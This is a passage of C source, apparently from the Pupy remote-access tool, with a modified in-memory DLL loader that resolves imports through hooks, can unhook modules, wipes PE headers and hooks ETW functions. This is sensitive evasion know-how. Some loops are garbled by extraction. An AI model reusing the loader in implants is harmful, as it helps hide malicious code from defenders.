break; } module->modules = tmp; module->modules[module->numModules++] = handle; if (importDesc->OriginalFirstThunk) { thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk); funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); dprint("%s have hint table, offset=%lu\n", lpcszLibraryName, importDesc->OriginalFirstThunk); } else { // no hint table dprint("%s does not have hint table\n", lpcszLibraryName); thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk); funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk); } hooks = GetHooks(dllHooks, lpcszLibraryName); if (hooks) { dprint("Use hooks for %s: %p\n", lpcszLibraryName, hooks); } dprint("Resolving symbols.. (%p)\n", thunkRef); for (; thunkRef && *thunkRef; thunkRef++, funcRef++) { dprint("Thunk value: %p\n", *thunkRef); if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) { dprint("Import by thunk (%d)\n", IMAGE_ORDINAL(*thunkRef)); *funcRef = module->callbacks->getProcAddress( handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef) ); dprint("Import %d@%s -> %p\n", IMAGE_ORDINAL(*thunkRef), lpcszLibraryName, *funcRef); } else { PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) ( codeBase + (*thunkRef)); dprint("Import %s@%s -> ?\n", (LPCSTR)&thunkData->Name, lpcszLibraryName); *funcRef = GetImportAddr( hooks, module->callbacks->getProcAddress, handle, (LPCSTR)&thunkData->Name ); dprint("Import %s@%s -> %p\n", (LPCSTR)&thunkData->Name, lpcszLibraryName, *funcRef); } if (!*funcRef) { result = FALSE; break; } } dprint("Resolving symbols %s -> complete, result=%p\n", lpcszLibraryName, result); if (!result) { module->callbacks->freeLibrary(handle); SetLastError(ERROR_PROC_NOT_FOUND); break; } } return result; } //===============================================================================================// #if defined(_WIN64) BOOL WINAPI RegisterExceptionTable(PMEMORYMODULE pModule) { UINT_PTR uiLibraryAddress = 0; UINT_PTR uiAddressArray = 0; UINT_PTR uiNameArray = 0; UINT_PTR uiNameOrdinals = 0; PIMAGE_NT_HEADERS pNtHeaders = NULL; PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; PIMAGE_RUNTIME_FUNCTION_ENTRY pExceptionDirectory = NULL; DWORD dwCount; BOOL bResult; unsigned char *codeBase = pModule->codeBase; if( pModule == NULL ) return FALSE; pDataDirectory = GET_HEADER_DICTIONARY(pModule, IMAGE_DIRECTORY_ENTRY_EXCEPTION); if (pDataDirectory->Size == 0 || pDataDirectory->VirtualAddress == 0) { dprint("No exception table found\n"); return TRUE; } // get the VA of the export directory pExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(codeBase + pDataDirectory->VirtualAddress); if (!pExceptionDirectory) { dprint("No exception directory found\n"); return TRUE; } dwCount = (pDataDirectory->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1; dprint("Registering exception table (size=%d)\n", dwCount); return RtlAddFunctionTable((PRUNTIME_FUNCTION)pExceptionDirectory, dwCount, (UINT_PTR)codeBase); } #endif static DWORD fnv1a(const unsigned char *ucData, size_t size) { size_t i; DWORD dwHash = 2166136261; for (i=0; i proclen) continue; if (!strncmp(pPrefix, procname, len)) { dprint("Allow import %s - prefix '%s' (%d)\n", procname, pPrefix, len); return TRUE; } } } break; default: dprint("Invalid flags %08x\n", flags); } dprint("Deny import: %s\n", procname); return FALSE; } VOID BuildExportTable(PMEMORYMODULE module) { unsigned char *codeBase = module->codeBase; DWORD i; PDWORD nameRef; PWORD ordinal; FUNCHASH *phIdx, *phExports = NULL; PIMAGE_EXPORT_DIRECTORY exports = NULL; PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT); if (module->headers->OptionalHeader.AddressOfEntryPoint != 0) { if (module->isDLL) { module->pcDllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); module->exeEntry = NULL; } else { module->pcDllEntry= NULL; module->exeEntry = (ExeEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); } } if (directory->Size) exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress); if (!(exports && exports->NumberOfNames && exports->NumberOfFunctions)) { module->exports.dwFunctionsCount = 0; module->exports.fpFunctions = NULL; module->phExportsIndex = NULL; return; } module->exports.dwFunctionsCount = exports->NumberOfFunctions; module->exports.dwBase = exports->Base; module->exports.fpFunctions = (FARPROC*) malloc( exports->NumberOfFunctions * sizeof(FARPROC)); // search function name in list of exported names nameRef = (DWORD *) (codeBase + exports->AddressOfNames); ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals); for (i=0; iNumberOfNames; i++, nameRef++, ordinal++) { LPCSTR pcName = (LPCSTR) (codeBase + (*nameRef)); DWORD dwIdx = *ordinal; FARPROC proc = NULL; if (dwIdx > exports->NumberOfFunctions) continue; if (!isAllowedSymbol(pcName, module->pvExportFilter, module->flags)) continue; proc = (FARPROC) ( codeBase + (*(DWORD *) ( codeBase + exports->AddressOfFunctions + (dwIdx*4)))); module->exports.fpFunctions[dwIdx] = proc; phIdx = (FUNCHASH*) malloc (sizeof(FUNCHASH)); phIdx->name = strdup(pcName); phIdx->proc = proc; HASH_ADD_KEYPTR( hh, phExports, phIdx->name, strlen(phIdx->name), phIdx ); } module->phExportsIndex = phExports; } DWORD SizeOfPEHeader(IMAGE_NT_HEADERS *headers) { return offsetof(IMAGE_NT_HEADERS, OptionalHeader) + headers->FileHeader.SizeOfOptionalHeader + (headers->FileHeader.NumberOfSections * sizeof (IMAGE_SECTION_HEADER)); } VOID CleanupHeaders(PMEMORYMODULE module) { PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY( module, IMAGE_DIRECTORY_ENTRY_EXPORT); dprint( "Cleaning PE headers at %p, size %d\n", module->headers, SizeOfPEHeader(module->headers)); if (!VirtualFree( module->headers, SizeOfPEHeader(module->headers), MEM_DECOMMIT)) { dprint("Cleaning PE Header failed: %d\n", GetLastError()); } } BOOL _CreateModuleMapping(HMODULE hModule, HANDLE *phMapping, PVOID *ppvMem) { CHAR szDllPath[MAX_PATH+1]; HANDLE hFile; HANDLE hMapping; PVOID pvMem; if (!GetModuleFileNameA(hModule, szDllPath, sizeof(szDllPath))) { return FALSE; } dprint("CreateMapping of %s\n", szDllPath); hFile = CreateFileA( szDllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { dprint("Failed to open %s: %d\n", szDllPath, GetLastError()); return FALSE; } hMapping = CreateFileMappingA( hFile, NULL, PAGE_READONLY, 0, 0, NULL ); CloseHandle(hFile); if (hMapping == INVALID_HANDLE_VALUE) { dprint("Failed create mapping of %s: %d\n", szDllPath, GetLastError()); return FALSE; } pvMem = MapViewOfFile( hMapping, FILE_MAP_READ, 0, 0, 0 ); if (!pvMem) { dprint("Failed create view of %s: %d\n", szDllPath, GetLastError()); CloseHandle(hMapping); return FALSE; } *phMapping = hMapping; *ppvMem = pvMem; return TRUE; } #define _ISSET(dw, x) ((dw) & (x)) HMEMORYMODULE MemoryLoadLibraryEx( const PVOID pvData, PDL_CALLBACKS pdlCallbacks, PVOID pvDllMainReserved, const PVOID pvExportFilter, MEMORY_LOAD_FLAGS flags ) { PMEMORYMODULE result = NULL; PIMAGE_DOS_HEADER dos_header; PIMAGE_NT_HEADERS old_header; unsigned char *code = NULL; unsigned char *headers = NULL; SIZE_T locationDelta; SYSTEM_INFO sysInfo; HMODULE hModule; HMODULE hOriginalModule = NULL; HMODULE hAliasedModule = NULL; HANDLE hMapping = INVALID_HANDLE_VALUE; const void *pvViewOfFile = NULL; const unsigned char *data = NULL; if (!pdlCallbacks) { dprint("No callbacks!\n"); return NULL; } if (_ISSET(flags, MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_UNHOOK)) { hOriginalModule = (HMODULE) pvData; if (!_CreateModuleMapping(hOriginalModule, &hMapping, &pvViewOfFile)) { dprint("MemoryLoadLibraryEx: Failed to mmap original module\n"); SetLastError(ERROR_OUTOFMEMORY); return NULL; } data = pvViewOfFile; } else { data = (const unsigned char *) pvData; } dprint("MemoryLoadLibraryEx: Load from %p\n", data); dos_header = (PIMAGE_DOS_HEADER)data; if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { SetLastError(ERROR_BAD_EXE_FORMAT); goto cleanup; } old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew]; if (old_header->Signature != IMAGE_NT_SIGNATURE) { SetLastError(ERROR_BAD_EXE_FORMAT); goto cleanup; } #ifdef _WIN64 if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) { #else if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) { #endif SetLastError(ERROR_BAD_EXE_FORMAT); goto cleanup; } if (old_header->OptionalHeader.SectionAlignment & 1) { // Only support section alignments that are a multiple of 2 SetLastError(ERROR_BAD_EXE_FORMAT); goto cleanup; } #if DEBUG // reserve memory for image of library // XXX: is it correct to commit the complete memory region at once? // calling DllEntry raises an exception if we don't... code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase), old_header->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); #endif if (code == NULL) { // try to allocate memory at arbitrary position code = (unsigned char *)VirtualAlloc(NULL, old_header->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (code == NULL) { SetLastError(ERROR_OUTOFMEMORY); dprint("Can't allocate base image\n"); goto cleanup; } } dprint("ImageBase: %p - %p\n", code, code + old_header->OptionalHeader.SizeOfImage); result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE)); if (result == NULL) { VirtualFree(code, 0, MEM_RELEASE); SetLastError(ERROR_OUTOFMEMORY); goto cleanup; } result->codeBase = code; result->codeSize = (ULONG) old_header->OptionalHeader.SizeOfImage; result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0; result->callbacks = pdlCallbacks; result->flags = flags; result->pvExportFilter = pvExportFilter; result->hOriginalModule = hOriginalModule; if (_ISSET(flags, MEMORY_LOAD_ALIASED)) { result->hAliasedModule = (HMODULE) pvDllMainReserved; } GetNativeSystemInfo(&sysInfo); result->pageSize = sysInfo.dwPageSize; // commit memory for headers headers = (unsigned char *)VirtualAlloc(code, old_header->OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE); // copy PE header to code memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders); result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew]; // update position result->headers->OptionalHeader.ImageBase = (uintptr_t)code; // copy sections from DLL file block to new memory location if (!CopySections((const unsigned char *) data, old_header, result)) { goto error; } // adjust base address of imported data locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase); if (locationDelta != 0) { result->isRelocated = PerformBaseRelocation(result, locationDelta); } else { result->isRelocated = TRUE; } // Save Resources VA if (!BuildResourceTables(result)) { goto error; } // load required dlls and adjust function table of imports dprint("Build import table..\n"); if (!BuildImportTable(result)) { goto error; } // mark memory pages depending on section headers and release // sections that are marked as "discardable" dprint("Finalize sections..\n"); if (!FinalizeSections(result)) { goto error; } // TLS callbacks are executed BEFORE the main loading if (!_ISSET(flags, MEMORY_LOAD_NO_TLS_CALLBACKS)) { if (!ExecuteTLS(result)) { goto error; } } #ifdef _WIN64 if (!_ISSET(flags, MEMORY_LOAD_NO_EXCEPTION_HANDLING)) { // Enable exceptions if (!RegisterExceptionTable(result)) { goto error; } } #endif // Build functions table dprint("Build export table..\n"); BuildExportTable(result); // get entry point of loaded library if (!_ISSET(flags, MEMORY_LOAD_NO_EP) && result->isDLL && result->pcDllEntry) { BOOL successfull; dprint( "Execute EP (ImageBase: %p EP: %p ARG: %p)..\n", code, result->pcDllEntry, pvDllMainReserved ); // notify library about attaching to process successfull = result->pcDllEntry( (HINSTANCE)code, DLL_PROCESS_ATTACH, _ISSET(flags, MEMORY_LOAD_ALIASED) ? NULL : pvDllMainReserved ); if (!successfull) { SetLastError(ERROR_DLL_INIT_FAILED); goto error; } result->initialized = TRUE; } dprint("MemoryLoadLibraryEx: Library loaded\n"); #ifndef DEBUG // Cleanup PE headers CleanupHeaders(result); dprint("MemoryLoadLibraryEx: headers cleaned up\n"); #endif cleanup: if (pvViewOfFile) UnmapViewOfFile(pvViewOfFile); if (hMapping != INVALID_HANDLE_VALUE) CloseHandle(hMapping); return (HMEMORYMODULE)result; error: dprint("MemoryLoadLibraryEx: error\n"); // cleanup MemoryFreeLibrary(result); if (pvViewOfFile) UnmapViewOfFile(pvViewOfFile); if (hMapping != INVALID_HANDLE_VALUE) CloseHandle(hMapping); return NULL; } static FARPROC _MemoryGetProcAddress(PMEMORYMODULE module, LPCSTR name) { if (!module || !module->exports.dwFunctionsCount) { SetLastError(ERROR_PROC_NOT_FOUND); return NULL; } if (HIWORD(name) == 0) { DWORD idx; // load function by ordinal value if (LOWORD(name) < module->exports.dwBase) { SetLastError(ERROR_PROC_NOT_FOUND); return NULL; } idx = LOWORD(name) - module->exports.dwBase; if (idx > module->exports.dwFunctionsCount) { SetLastError(ERROR_PROC_NOT_FOUND); return NULL; } return module->exports.fpFunctions[idx]; } else { FUNCHASH *phIdx; HASH_FIND_STR(module->phExportsIndex, name, phIdx); if (!phIdx) { SetLastError(ERROR_PROC_NOT_FOUND); return NULL; } return phIdx->proc; } } FARPROC MemoryGetProcAddress(HMEMORYMODULE hmodule, LPCSTR name) { PMEMORYMODULE module = (PMEMORYMODULE) hmodule; FARPROC fpAddress; if (!module) return NULL; fpAddress = _MemoryGetProcAddress(module, name); if (!fpAddress && module->hAliasedModule) { dprint( "MemoryGetProcAddress fallback aliased -> %p\n", module->hAliasedModule ); fpAddress = module->callbacks->systemGetProcAddress( module->hAliasedModule, name ); } if (!fpAddress && module->hOriginalModule) { dprint( "MemoryGetProcAddress fallback -> %p\n", module->hOriginalModule ); fpAddress = module->callbacks->systemGetProcAddress( module->hOriginalModule, name ); } return fpAddress; } DWORD MemoryModuleFileNameA(HMODULE hModule, LPSTR name, DWORD dwDest) { PMEMORYMODULE module = (PMEMORYMODULE) hModule; if (module->hAliasedModule) { return module->callbacks->systemGetModuleFileNameA( module->hAliasedModule, name, dwDest); } if (module->hOriginalModule) { return module->callbacks->systemGetModuleFileNameA( module->hOriginalModule, name, dwDest); } return 0xFFFFFFFF; } DWORD MemoryModuleFileNameW(HMODULE hModule, LPWSTR name, DWORD dwDest) { PMEMORYMODULE module = (PMEMORYMODULE) hModule; if (module->hAliasedModule) { return module->callbacks->systemGetModuleFileNameW( module->hAliasedModule, name, dwDest); } if (module->hOriginalModule) { return module->callbacks->systemGetModuleFileNameW( module->hOriginalModule, name, dwDest); } return 0xFFFFFFFF; } void MemoryFreeLibrary(HMEMORYMODULE mod) { PMEMORYMODULE module = (PMEMORYMODULE)mod; FUNCHASH *phIdx, *phTmp, *phExports; if (module == NULL) { return; } dprint("MemoryFreeLibrary (%p)\n", mod); phExports = module->phExportsIndex; if (module->initialized && module->pcDllEntry) { // notify library about detaching from process DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint); (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0); } if (module->modules != NULL) { // free previously opened libraries int i; for (i=0; inumModules; i++) { if (module->modules[i] != NULL) { module->callbacks->freeLibrary(module->modules[i]); } } free(module->modules); } if (module->codeBase != NULL) { // release memory of library VirtualFree(module->codeBase, 0, MEM_RELEASE); } free(module->exports.fpFunctions); HASH_ITER(hh, phExports, phIdx, phTmp) { HASH_DEL(phExports, phIdx); free(phIdx->name); free(phIdx); } HeapFree(GetProcessHeap(), 0, module); } #define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL) HMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type) { return _MemoryFindResourceExW(module, name, type, DEFAULT_LANGUAGE); } static PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry( void *root, PIMAGE_RESOURCE_DIRECTORY resources, LPCWSTR key) { PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) ( resources + 1); PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL; DWORD start; DWORD end; DWORD middle; if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) { // special case: resource id given as string TCHAR *endpos = NULL; long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10); if (tmpkey <= 0xffff && lstrlen(endpos) == 0) { key = MAKEINTRESOURCEW(tmpkey); } } // entries are stored as ordered list of named entries, // followed by an ordered list of id entries - we can do // a binary search to find faster... if (IS_INTRESOURCE(key)) { WORD check = (WORD) (uintptr_t) key; start = resources->NumberOfNamedEntries; end = start + resources->NumberOfIdEntries; while (end > start) { WORD entryName; middle = (start + end) >> 1; entryName = (WORD) entries[middle].Name; if (check < entryName) { end = (end != middle ? middle : middle-1); } else if (check > entryName) { start = (start != middle ? middle : middle+1); } else { result = &entries[middle]; break; } } } else { LPCWSTR searchKey; size_t searchKeyLen = wcslen(key); searchKey = key; start = 0; end = resources->NumberOfNamedEntries; while (end > start) { int cmp; PIMAGE_RESOURCE_DIR_STRING_U resourceString; middle = (start + end) >> 1; resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) OffsetPointer(root, entries[middle].Name & 0x7FFFFFFF); cmp = _wcsnicmp(searchKey, resourceString->NameString, resourceString->Length); if (cmp == 0) { // Handle partial match if (searchKeyLen > resourceString->Length) { cmp = 1; } else if (searchKeyLen < resourceString->Length) { cmp = -1; } } if (cmp < 0) { end = (middle != end ? middle : middle-1); } else if (cmp > 0) { start = (middle != start ? middle : middle+1); } else { result = &entries[middle]; break; } } } return result; } HMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language) { PMEMORYMODULE module = (PMEMORYMODULE) hModule; PIMAGE_RESOURCE_DIRECTORY rootResources; PIMAGE_RESOURCE_DIRECTORY nameResources; PIMAGE_RESOURCE_DIRECTORY typeResources; PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType; PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName; PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage; if (!module->resources) { // no resource table found SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND); return NULL; } if (language == DEFAULT_LANGUAGE) { // use language from current thread language = LANGIDFROMLCID(GetThreadLocale()); } // resources are stored as three-level tree // - first node is the type // - second node is the name // - third node is the language rootResources = (PIMAGE_RESOURCE_DIRECTORY) module->resources; foundType = _MemorySearchResourceEntry(rootResources, rootResources, type); if (foundType == NULL) { SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND); return NULL; } typeResources = (PIMAGE_RESOURCE_DIRECTORY) (module->resources + (foundType->OffsetToData & 0x7fffffff)); foundName = _MemorySearchResourceEntry(rootResources, typeResources, name); if (foundName == NULL) { SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND); return NULL; } nameResources = (PIMAGE_RESOURCE_DIRECTORY) (module->resources + (foundName->OffsetToData & 0x7fffffff)); foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCWSTR) (uintptr_t) language); if (foundLanguage == NULL) { // requested language not found, use first available if (nameResources->NumberOfIdEntries == 0) { SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND); return NULL; } foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1); } return (module->resources + (foundLanguage->OffsetToData & 0x7fffffff)); } DWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource) { PIMAGE_RESOURCE_DATA_ENTRY entry; UNREFERENCED_PARAMETER(module); entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource; if (entry == NULL) { return 0; } return entry->Size; } LPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource) { unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase; PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource; if (entry == NULL) { return NULL; } return codeBase + entry->OffsetToData; } HMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCSTR type) { return MemoryFindResourceExA(module, name, type, DEFAULT_LANGUAGE); } HMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type) { return _MemoryFindResourceW(module, name, type); } HMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language) { size_t namelen; size_t typelen; LPWSTR wName; LPWSTR wType; if (!name || !type) return NULL; namelen = (strlen(name) + 1) * 2; typelen = (strlen(type) + 1) * 2; wName = _alloca(namelen); wType = _alloca(typelen); mbstowcs(wName, name, namelen); mbstowcs(wType, type, typelen); return MemoryFindResourceW(hModule, wName, wType); } HMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language) { PMEMORYMODULE module = (PMEMORYMODULE)hModule; HMEMORYRSRC resource = NULL; if (!hModule) return NULL; if (!resource && module->hAliasedModule) { resource = module->callbacks->systemFindResourceExW( module->hAliasedModule, name, type, language ); } if (!resource && module->hOriginalModule) { resource = module->callbacks->systemFindResourceExW( module->hOriginalModule, name, type, language ); } if (resource) return resource; return _MemoryFindResourceExW(hModule, name, type, language); } DWORD MemorySizeofResource(HMEMORYMODULE hModule, HMEMORYRSRC resource) { PMEMORYMODULE module = (PMEMORYMODULE) hModule; DWORD dwSize = 0; if (!hModule) return 0; if (!dwSize && module->hAliasedModule) { dwSize = module->callbacks->systemSizeofResource( module->hAliasedModule, resource ); } if (!dwSize && module->hOriginalModule) { dwSize = module->callbacks->systemSizeofResource( module->hOriginalModule, resource ); } if (dwSize) return dwSize; return _MemorySizeofResource(hModule, resource); } LPVOID MemoryLoadResource(HMEMORYMODULE hModule, HMEMORYRSRC resource) { PMEMORYMODULE module = (PMEMORYMODULE) hModule; PVOID *pvData = NULL; if (!hModule) return 0; if (!pvData && module->hAliasedModule) { pvData = module->callbacks->systemLoadResource( module->hAliasedModule, resource ); } if (!pvData && module->hOriginalModule) { pvData = module->callbacks->systemLoadResource( module->hOriginalModule, resource ); } if (pvData) return pvData; return _MemoryLoadResource(module, resource); } BOOL GetMemoryModuleInfo( HMEMORYMODULE hMemoryModule, PVOID *ppvBaseAddress, PULONG pulSize) { PMEMORYMODULE module = (PMEMORYMODULE) hMemoryModule; if (!module) return FALSE; if (ppvBaseAddress) *ppvBaseAddress = module->codeBase; if (pulSize) *pulSize = module->codeSize; return TRUE; } ================================================ FILE: client/sources-windows-py3/MemoryModule.h ================================================ /* * Memory DLL loading code * Version 0.0.4 * * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de * http://www.joachim-bauch.de * * The contents of this file are subject to the Mozilla Public License Version * 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is MemoryModule.h * * The Initial Developer of the Original Code is Joachim Bauch. * * Portions created by Joachim Bauch are Copyright (C) 2004-2015 * Joachim Bauch. All Rights Reserved. * */ #ifndef __MEMORY_MODULE_HEADER #define __MEMORY_MODULE_HEADER #include typedef void *HMEMORYMODULE; typedef void *HMEMORYRSRC; typedef void *HCUSTOMMODULE; #ifdef __cplusplus extern "C" { #endif typedef HMODULE (CALLBACK *CustomGetModuleHandleA)(LPCSTR); typedef HMODULE (CALLBACK *CustomGetModuleHandleW)(LPCWSTR); typedef BOOL (CALLBACK *CustomGetModuleHandleExA)(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule); typedef BOOL (CALLBACK *CustomGetModuleHandleExW)(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule); typedef HMODULE (CALLBACK *CustomLoadLibraryExA)(LPCSTR, HANDLE, DWORD); typedef HMODULE (CALLBACK *CustomLoadLibraryExW)(LPCWSTR, HANDLE, DWORD); typedef HCUSTOMMODULE (CALLBACK *CustomLoadLibraryA)(LPCSTR); typedef HCUSTOMMODULE (CALLBACK *CustomLoadLibraryW)(LPCWSTR); typedef DWORD (CALLBACK *CustomGetModuleFileNameA)(HMODULE, LPSTR, DWORD); typedef DWORD (CALLBACK *CustomGetModuleFileNameW)(HMODULE, LPWSTR, DWORD); typedef HRSRC (CALLBACK *CustomFindResourceA)(HMEMORYMODULE module, LPCSTR name, LPCSTR type); typedef HRSRC (CALLBACK *CustomFindResourceW)(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type); typedef HRSRC (CALLBACK *CustomFindResourceExA)(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language); typedef HRSRC (CALLBACK *CustomFindResourceExW)(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language); typedef DWORD (CALLBACK *CustomSizeofResource)(HMEMORYMODULE module, HRSRC resource); typedef LPVOID (CALLBACK *CustomLoadResource)(HMEMORYMODULE module, HRSRC resource); typedef FARPROC (CALLBACK *CustomGetProcAddress)(HMODULE, LPCSTR); typedef void (CALLBACK *CustomFreeLibraryFunc)(HMODULE); typedef HANDLE (CALLBACK *CustomCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); #ifdef _PUPY_PRIVATE_WS2_32 typedef NTSTATUS (CALLBACK *CustomEtwRegister) ( LPCGUID ProviderId, PVOID EnableCallback, PVOID CallbackContext, PULONGLONG RegHandle ); typedef ULONG (CALLBACK *CustomEtwEventWrite) ( ULONGLONG RegHandle, PVOID EventDescriptor, ULONG UserDataCount, PVOID UserData ); typedef ULONG (CALLBACK *CustomEtwEventWriteFull) ( ULONGLONG RegHandle, PVOID EventDescriptor, USHORT EventProperty, LPCGUID ActivityId, LPCGUID RelatedActivityId, ULONG UserDataCount, PVOID UserData ); typedef NTSTATUS (CALLBACK *CustomEtwUnregister) ( ULONGLONG RegHandle ); #endif /** * Load EXE/DLL from memory location. * * All dependencies are resolved using default LoadLibrary/GetProcAddress * calls through the Windows API. */ HMEMORYMODULE MemoryLoadLibrary(const void *); typedef struct { CustomLoadLibraryA loadLibraryA; CustomLoadLibraryW loadLibraryW; CustomLoadLibraryExA loadLibraryExA; CustomLoadLibraryExW loadLibraryExW; CustomGetModuleHandleA getModuleHandleA; CustomGetModuleHandleW getModuleHandleW; CustomGetModuleHandleExA getModuleHandleExA; CustomGetModuleHandleExW getModuleHandleExW; CustomGetModuleFileNameA getModuleFileNameA; CustomGetModuleFileNameW getModuleFileNameW; CustomGetProcAddress getProcAddress; CustomFreeLibraryFunc freeLibrary; CustomFindResourceA getFindResourceA; CustomFindResourceW getFindResourceW; CustomFindResourceExA getFindResourceExA; CustomFindResourceExW getFindResourceExW; CustomSizeofResource getSizeofResource; CustomLoadResource getLoadResource; CustomGetProcAddress systemGetProcAddress; CustomGetModuleFileNameA systemGetModuleFileNameA; CustomGetModuleFileNameW systemGetModuleFileNameW; CustomFindResourceExW systemFindResourceExW; CustomSizeofResource systemSizeofResource; CustomLoadResource systemLoadResource; CustomCreateThread createThread; #ifdef _PUPY_PRIVATE_WS2_32 CustomEtwRegister systemEtwRegister; CustomEtwEventWrite systemEtwEventWrite; CustomEtwEventWriteFull systemEtwEventWriteFull; CustomEtwUnregister systemEtwUnregister; #endif } DL_CALLBACKS, *PDL_CALLBACKS; typedef enum { MEMORY_LOAD_DEFAULT = 0, MEMORY_LOAD_NO_EP = 1 << 0, MEMORY_LOAD_NO_TLS_CALLBACKS = 1 << 1, MEMORY_LOAD_NO_EXCEPTION_HANDLING = 1 << 2, MEMORY_LOAD_FROM_HMODULE = 1 << 3, MEMORY_LOAD_ALIASED = 1 << 4, MEMORY_LOAD_UNHOOK = 1 << 5, MEMORY_LOAD_EXPORT_FILTER_FNV1A = 1 << 6, MEMORY_LOAD_EXPORT_FILTER_PREFIX = 1 << 7, } MEMORY_LOAD_FLAGS; /** * Load EXE/DLL from memory location using custom dependency resolvers. * * Dependencies will be resolved using passed callback methods. */ HMEMORYMODULE MemoryLoadLibraryEx( const void *pvData, PDL_CALLBACKS pdlCallbacks, void *pvDllMainReserved, void *pvExportFilter, MEMORY_LOAD_FLAGS flags ); /** * Get address of exported method. Supports loading both by name and by * ordinal value. */ FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); /** * Free previously loaded EXE/DLL. */ void MemoryFreeLibrary(HMEMORYMODULE); DWORD MemoryModuleFileNameA(HMODULE, LPSTR, DWORD); DWORD MemoryModuleFileNameW(HMODULE, LPWSTR, DWORD); BOOL GetMemoryModuleInfo(HMEMORYMODULE hModule, PVOID *ppvBaseAddress, PULONG pulSize); HMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCSTR type); HMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type); HMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, 